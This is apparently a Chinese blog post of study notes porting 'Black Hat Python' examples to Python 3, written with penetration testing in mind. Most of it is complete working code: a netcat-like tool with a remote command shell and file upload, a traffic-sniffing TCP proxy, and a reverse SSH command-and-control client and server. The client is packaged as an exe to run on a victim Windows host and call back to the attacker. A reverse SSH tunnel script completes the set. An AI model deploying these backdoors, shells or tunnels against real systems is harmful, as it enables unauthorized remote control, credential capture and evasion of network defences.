0x00 前言
最近打算系统的再学习下Python,毕竟实际的渗透工作中 拥有一定的工具编写能力还是十分必要的。而且另一方面,在学习代码的同时,也可以巩固很多基础知识,了解更多的细节。
花了一周刷完廖雪峰的Python3教程后,刚好想简单写点什么练练手。瞥见了书架上的已经落灰的《Python黑帽子》,买来也一直没有读过,于是决定从它开始。书中的案例全都是python2.x版本,我这里决定改用3.x来实现,并记录学习过程中遇到的问题和坑。
0x01 取代Netcat
Python3代码:
import sys
import socket
import getopt
import threading
import subprocess
#定义一些全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = ''
#打印出该工具的使用说明
def usage():
print("Blackhat Python tools")
print()
print("Usage:bhpnet.py -t target_host -p port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run - execute the given file upon receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
print()
print()
print("Examples: ")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135 ")
#正常退出python程序
sys.exit(0)
#该函数用来通过TCP连接发送数据
def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
#连接到目标主机
client.connect((target,port))
if len(buffer):
print(buffer)
client.send(buffer.encode())
while True:
#等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096).decode()
recv_len = len(data)
response += data
# 接收完最后的数据部分,跳出循环
if recv_len < 4096:
break
print(response,end=" ")
#等待更多的输入并发送
buffer = input('')
buffer += "\n"
client.send(buffer.encode())
except:
print("[*] Exception! Exiting...")
#关闭TCP连接
client.close()
#服务器端主循环
def server_loop():
global target
#若没有定义target,则监听所有网卡接口
if not len(target):
target = '0.0.0.0'
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket,addr = server.accept()
#创建一个线程 处理新的客户端连接
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
#执行命令函数
def run_command(command):
#去换行符
command = command.rstrip()
#运行命令并返回结果
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Failed to execute command.\r\n".encode()
return output
#服务端功能:文件上传、命令执行以及shell相关的功能
def client_handler(client_socket):
global upload
global upload_destination
global command
#检查文件上传
if len(upload_destination):
file_buffer = ""
#持续读取数据 直到完成
while True:
data = client_socket.recv(1024).decode()
if not data:
break
else:
file_buffer += data
#把接收到的数据 写入文件
try:
file_descriptor = open(upload_destination,'wb')
file_descriptor.write(file_buffer.encode())
file_descriptor.close()
client_socket.send(("Successfully saved file to %s \r\n" % upload_destination).encode())
except:
client_socket.send(("Failed to save file to %s \r\n" % upload_destination).encode())
#检查命令执行
if len(execute):
#运行命令
output = run_command(execute)
#print(output)
client_socket.send(output)
#若需要一个命令行shell,则进入另一个循环
if command:
while True:
client_socket.send(b'<BHP:#>')
#接收命令
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += bytes.decode(client_socket.recv(1024))
#返回命令执行的结果
response = run_command(cmd_buffer)
client_socket.send(response)
#主函数
def main():
global listen
global port
global execute
global command
global upload_destination
global target
#global upload
#无参数时,打印说明
if not len(sys.argv[1:]):
usage()
#读取命令行选项
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen",
"execute","target","port","command","upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e","--execute"):
execute = a
elif o in ("-c","--command"):
command = True
elif o in ("-u","--upload"):
upload_destination = a
print(a)
elif o in ("-t","--target"):
target = a
elif o in ("-p","--port"):
port=int(a)
else:
assert False,"Unhandled Option"
#判断是进行监听还是仅从标准输入发送数据
if not listen and len(target) and port > 0:
#从命令行读取内存数据
#这里将阻塞,所以在不向标准输入发送数据时,发送CTRL+D
buffer = sys.stdin.read()
#发送数据
client_sender(buffer)
#开始监听,准备进入下一步操作 如上传文件、进入交互式shell、执行命令...
if listen:
server_loop()
if __name__ == '__main__':
main()
看下程序的效果,首先在服务端执行
$ python3 bhnet.py -l -p 6666
客户端执行如下命令,然后control+D 进入shell
$ python3 bhnet.py -t 127.0.0.1 -p 6666

也可以直接利用此脚本,发送HTTP请求,效果如下:

其它参数对应功能效果,暂略...
0x02 创建一个TCP代理
Python3代码,如下所示
import sys
import socket
import threading
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
server.bind((local_host,local_port))
except:
print("[!!] Failed to listen on %s:%d" % (local_host,local_port))
print("[!!] Check for other listening sockets or correct premissions.")
sys.exit(0)
print("[*] Listening on %s:%d" % (local_host,local_port))
server.listen(5)
while True:
client_socket,addr = server.accept()
#打印出socket连接信息
print("[==>] Received incoming connection from %s:%d" % (addr[0],addr[1]))
#开启一个线程与远程主机通信
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread.start()
def proxy_handler(client_socket,remote_host,remote_port,receive_first):
#连接远程主机
remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))
#如果必要 从远程主机获取数据
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
#发送给响应处理
remote_buffer = response_handler(remote_buffer)
#如果有数据传递给本地客户端,发送它
if len(remote_buffer):
print("[<==] Sending %s bytes to localhost." % len(remote_buffer))
client_socket.send(remote_buffer.encode())
while True:
local_buffer = receive_from(client_socket)
if len(local_buffer):
print("[==>] Received %d bytes from localhost." % len(local_buffer))
hexdump(local_buffer)
local_buffer = request_handler(local_buffer)
remote_socket.send(local_buffer.encode())
print("[==>] Send to remote.")
#接收响应数据
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print("[<==] Received %d bytes from remote." % len(remote_buffer))
hexdump(remote_buffer)
remote_buffer = response_handler(remote_buffer)
client_socket.send(remote_buffer.encode())
print("[<==] Sent to localhost.")
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print("[*] No more data. Closing Connections")
break
def hexdump(src,length=16):
result = []
digits = 2 if isinstance(src,str) else 4
for i in range(0,len(src),length):
s = src[i:i+length]
hexa = ' '.join(["%0*X" % (digits,ord(x)) for x in s])
text = ''.join([x if 0x20 <= ord(x) < 0x7F else '.' for x in s])
result.append('%04X %-*s %s' % (i,length*(digits + 1),hexa,text) )
print('\n'.join(result))
def receive_from(connection):
buffer = ""
#超时2秒
connection.settimeout(9)
try:
while True:
data = connection.recv(4096).decode()
if not data:
break
buffer += data
except:
pass
return buffer
def request_handler(buffer):
return buffer
def response_handler(buffer):
return buffer
def main():
#命令行用法
if len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)
#设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
#设置远程目标参数
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
#告诉代理:在发送给远程主机前 连接和接收数据
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
if __name__ == "__main__":
main()
注意:Python3中不存在unicode类,可以用str
代替,str默认为unicode编码. hexdump函数,需要修改如下
digits = 2 if isinstance(src,str) else 4
另外,python3.x没有xrange,可以用range()代替。修改了部分代码,以完成bytes和str转化。
hexdump()函数主要作用是:把一段字符串数据用3列进行表示。
第一列是用16进制表示的字符串位置索引,第二列是16进制表示的字节,第三列是ASCII编码表示的字符串。
对这段代码理解,主要是要搞懂字符编码和格式化打印 两个知识点。

先看打印结果,格式如:
0000 32 32 30 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 20 57 65 220---------- We
0010 6C 63 6F 6D 65 20 74 6F 20 50 75 72 65 2D 46 54 lcome to Pure-FT
字符编码
:Python3下,文本字符和二进制字符区分的很明确,分别用str和bytes表示。文本字符全部用str类型表示,str能表示unicode字符中所有字符。而二进制字节数据用一种全新的类型,bytes来表示。
格式化打印
:该代码段中涉及了 %0*X
, %04X
, %-*s
三种格式
%04X
代表输入一个数字,按16进制打印,4字节对齐,前面补0%-*s
代表输入一个字符串,-
号表示左对齐、后补空白,*
表示对齐宽度由输入时确定.(这里由 length*(digits + 1) 来确定)%0*X
代表输入一个数字,按16进制打印,*
表示对齐宽度由输入的digits决定.
这样,再读上述的代码就很清晰了。ord()函数,以一个字符作为参数,返回其ASCII数值。
另外,ascii字符集由95个可打印字符(0x20-0x7e),所以当ord(x)不在这个范围时,为不可见字符。
利用nc 连接TCP代理的端口,效果如下
TCP代理脚本会和目标建立主机的目标端口建立连接 127.0.0.1:8888 <==> target:ip

TCP代理服务器,打印出抓到的流量,效果如下

在目标环境,没有wireshark工具这样现成的条件,写一个这样的脚本来实现其简要的功能,是一个很好的思路方法。尤其是用来分析网络数据,可以发现协议、账号、口令等信息。
0x03 通过Paramiko使用SSH
有时候需要通过加密流量来绕过检测,最常用的方法就是使用SSH发送流量。
在Python中,使用Paramiko库的PyCrypto能够轻松的使用SSH2协议。
安装Paramiko
pip3 install paramiko
一段简单的代码模拟SSH登录 并执行一条系统命令:
import threading
import paramiko
import subprocess
def ssh_command(ip,user,passwd,command):
client = paramiko.SSHClient()
#可以支持密钥认证来代替账号口令验证
#client.load_host_keys('/Users/lengfan/.ssh/know_hosts')
#AutoAddPolicy 自动添加key到本地
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,username=user,password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print(ssh_session.recv(1024).decode())
return
ssh_command('192.168.11.111','root','passwd','pwd')
运行结果如下,成功打印命令执行的结果:
$ python3 sshcmd.py
/root
接着修改脚本,实现可以通过SSH协议,在Windows上运行多条命令并返回结果。
由于Windows本身一般都没有安装ssh服务,所以需要反向将命令从ssh服务端,发送给ssh客户端
即:ssh客户端运行于被控的windows系统上,主动
向攻击者的监听的ssh服务端建立连接,攻击者从ssh服务端输入指定,发送给windows并接收返回结果。
Python3版代码如下:
客户端
bh_sshRcmd.py
import threading
import paramiko
import subprocess
import sys
"""
ssh客户端
"""
def ssh_command(ip,port,user,passwd,command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,port=port,username=user,password=passwd)
#实例化Transport 并建立会话session
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print(ssh_session.recv(1024)) #获取banner信息
while True:
command = ssh_session.recv(1024).decode(encoding="GB2312") #获取ssh服务端命令,GB2312支持中文
try:
#执行命令,并返回结果给SSH服务端
cmd_output = subprocess.check_output(command,shell=True)
#print('2')
ssh_session.send(cmd_output)
except Exception as e:#写法与python2有差异
ssh_session.send(str(e))
client.close()
return
ip = sys.argv[1]
port = int(sys.argv[2])
try:
ssh_command(ip,port,'test666','test666','ClientConnected')
except Exception as e:
print(str(e))
最后加了try...except 来捕获异常,避免了输入exit后 断开连接后产生的报错。
要连接的服务端ip和port可通过传参接收
服务端
bh_sshserver.py
import socket
import paramiko
import threading
import sys
"""
SSH服务端
"""
#使用密钥证书
host_key = paramiko.RSAKey(filename='rsa_private_key.pem')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self,kind,chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self,username,password):
if (username == 'test666') and (password == 'test666'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#SOL_SOCKET:通用套接字选项.如果想要在套接字级别上设置选项,就必须把level设置为SOL_SOCKET
#SO_REUSEADDR允许同一port上启动同一服务器的多个实例(多个进程)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock.bind((server,ssh_port))
sock.listen(100)
print("[+] Listening for connection...")
client,addr = sock.accept()
except Exception as e:
print("[-] Listen failed:" + str(e))
sys.exit(1) #有错误退出
print("[+] Got a connection!")
try:
#用sock.accept返回的client来实例化Transport
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
#启动ssh服务端
bhSession.start_server(server=server)
except paramiko.SSHException as e:
print("[-] SSH negotiation failed.")
chan = bhSession.accept(20)
print("[+] Authenticated!")
print(chan.recv(1024))
chan.send('Welcome to bh_ssh')
while True:
try:
command = input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command.encode(encoding="GB2312")) #编码方式选择GB2312支持中文,防止乱码
print(chan.recv(4096).decode(encoding="GB2312",errors="ignore"))
else:
chan.send('exit'.encode(encoding="GB2312"))
print('Exiting')
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print("[-] Caught exception: " + str(e))
try:
bhSession.close()
except:
pass
sys.exit(0)
关于ssh服务端的代码,书中并没有描述的很清楚。这里补充下:
先弄清楚几个名词:
- SSHClient:包装了Channel、Transport、SFTPClient
- Channel: 是一种类socket,一种安全的传输通道
- Transport: 是一种加密的会话(但这样一个对象的session并未建立),并且创建了一个加密的tunnels,这个tunnels叫做Channel
- Session: 是client和server保持连接的对象,用connect()/client_start()/server_start()开始会话
实现ssh服务端,必须继承paramiko.ServerInterface
,并实现其中的方法
在实例化Server类时,自动执行__init__方法,首先会触发Event。然后进入到认证阶段,等到认证通过后client会打开一个Channel。
关于使用的密钥,这里是通过如下命令,临时生成的
openssl genrsa -out rsa_private_key.pem 1024
Python threading模块提供Event对象用于线程间通信,用于主线程控制其他线程的执行。
为了模拟更真实的使用场景效果,简单修改了客户端代码并使用pyinstaller
来打包为exe
pip3 install pyinstaller
然后需要将bh_sshRcmd.py文件,打包成exe(注意
:需要在Windows下才能打包为exe`)
pyinstaller -F bh_sshRcmd.py
之后会在dist目录中生成exe文件,可以直接放至被控windows运行
最终效果
被控的Windows客户端主动连接ssh服务器

服务端输入指定,获取结果

注意:若目录出现乱码,要修改编码方式为GB2312
0x04 SSH隧道
SSH能够将其它TCP端口的网络数据通过SSH连接来转发,
使用SSH隧道与传统的将命令直接发送给服务端不同,运用隧道会将网络流量包在SSH中封装后发送,并在服务端解开并执行。
一般分为本地转发和远程转发
正向隧道
该拓扑图中,由于防火墙的限制:
- 主机A 可以访问主机B的ssh服务
- 主机A 无法直接访问 主机C
- 主机B 可以访问 主机C,如ftp服务

这样的情况下,可以建立一条正向
的SSH隧道,即 主机A作为ssh-client
主动连接 作为ssh-server
的主机B,然后在本地系统(主机A)上面监听端口建立转发。可以通过在A上执行ssh命令来完成,执行成功后访问主机A的2121端口,便可以访问主机C的FTP服务
ssh -L 2121:主机C-ip:21 user@主机B-ip
上面这种也称作本地端口转发
反向隧道
上面例子的前提是,主机B存在SSH服务。但Windows系统往往都不具备SSH服务,这种情况下如何建立隧道呢?
其实只需要改变隧道的建立方向,便可完成。即把被控端 主机B 作为客户端,主机A作为ssh服务端,拓扑图如下

从windows客户端连接自己的SSH服务器,通过这个SSH连接,我们同时在SSH服务端监听一个端口,这个端口将数据通过SSH隧道发送到目标网络中的主机和端口上。也可以直接在主机B上通过ssh命令来执行
ssh -R 2121:主机C-ip:21 user@主机A-ip
这样,主机B利用ssh 远程让主机A监听了2121端口,并将流量转发给主机C的21端口上,实现了通信。
rforward.py
熟悉了原理,就继续来看代码。
Paramiko的实例文件包含一个名为rforward.py
的文件。这个文件就具备上述的远程转发功能。
改写为Python3版:
#!/usr/bin/env python3
# -*- code:utf-8 -*-
import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
HELP = """
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
g_verbose = True #默认打印自定义信息
"""
获取hosrtname 和 port
"""
def get_host_port(spec,default_port):
"parse 'hostname:22' into a host and port,with the port optional"
args = (spec.split(':',1) + [default_port])[:2]
args[1] = int(args[1])
return args[0],args[1]
"""
打印执行中的自定义信息
"""
def verbose(msg):
if g_verbose:
print(msg)
"""
定义接收的参数,以及用法
"""
def parse_options():
global g_verbose
parser = OptionParser(
usage="usage: %prog [options] <ssh-server>[:<server-port>]",
version="%prog 1.0",
description=HELP,
)
parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True,
help="squelch all informational output",)
parser.add_option("-p","--remote-port",action="store",type="int",dest="port",default=DEFAULT_PORT,
help="port on server to forward(default: %d)" % DEFAULT_PORT,)
parser.add_option("-u","--user",action="store",type="string",dest="user",default=getpass.getuser(),
help="username for SSH authentication (default: %s)" % getpass.getuser(),)
parser.add_option("-K","--key",action="store",type="string",dest="keyfile",default=None,
help="private key file to use for SSH authentication",)
parser.add_option("","--no-key",action="store_false",dest="look_for_keys",default=True,
help="don't look for or use private key file",)
parser.add_option("-P","--password",action="store_true",dest="readpass",default=False,
help="read password (for key or password auth) from stdin",)
parser.add_option("-r","--remote",action="store",type="string",dest="remote",default=None,metavar="host:port",
help="remote host and port to forward to",)
options, args = parser.parse_args()
if len(args) != 1:
parser.error("Incorrect number of arguments.")
if options.remote is None:
parser.error("Remote address required (-r).")
#
g_verbose = options.verbose
server_host,server_port = get_host_port(args[0],SSH_PORT)
remote_host,remote_port = get_host_port(options.remote,SSH_PORT)
return options,(server_host,server_port),(remote_host,remote_port)
"""
数据转发过程
"""
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
return
verbose(
"Connected! Tunnel open %r -> %r -> %r"
% (chan.origin_addr, chan.getpeername(), (host, port))
)
while True:
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose("Tunnel closed from %r " % (chan.origin_addr,))
"""
建立反向隧道
"""
def reverse_forward_tunnel(server_port,remote_host,remote_port,transport):
transport.request_port_forward('',server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(target=handler,args=(chan,remote_host,remote_port))
#设置该线程为守护线程,表示该线程是不重要的,进程退出时不需要等待这个线程执行完成。
#用来避免子线程无限死循环,导致退不出程序的情况
thr.setDaemon(True)
thr.start()
pass
def main():
options,server,remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass("Enter SSH password:")
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose("Connecting to ssh host %s:%d ..." % (server[0],server[1]))
try:
client.connect(
server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password,
)
except Exception as e:
print("*** Failed to connect to %s:%d: %r" %(server[0],server[1],e))
sys.exit(1)
verbose("Now forwarding remote port %d to %s:%d ..." % (options.port,remote[0],remote[1]))
try:
reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
except KeyboardInterrupt:
print("C-c:Port forwarding stopped.")
sys.exit(0)
if __name__ == "__main__":
main()
下面测试下效果,先看下网络环境:
- Mac 可以连接公网linux的SSH
- Mac 和 虚拟机Win7,可以互相访问。虚拟机为网络为
host-only
模式 - Mac 连接wifi,处于局域网环境
实现如下效果
在Mac下运行脚本
rforward.py 外网ssh服务器 -u root -r 10.37.129.3:80 -p 8888 --password
输入密码后,成功连接SSH服务器,并建立转发。并在远程VPS上,利用curl 访问内网中host-only模式的虚拟机Win7

在Mac下查看打印结果,成功利用反向ssh隧道进行了转发

0x05 后记
在学习过程中发现自己的网络基础还很薄弱,后续会着重弥补。
0x06 参考资料
《Python Paramiko模块的使用实际案例》
《Python 黑帽子》学习笔记
《关于黑帽子中hexdump函数在python3之后的修改》
《实战SSH端口转发》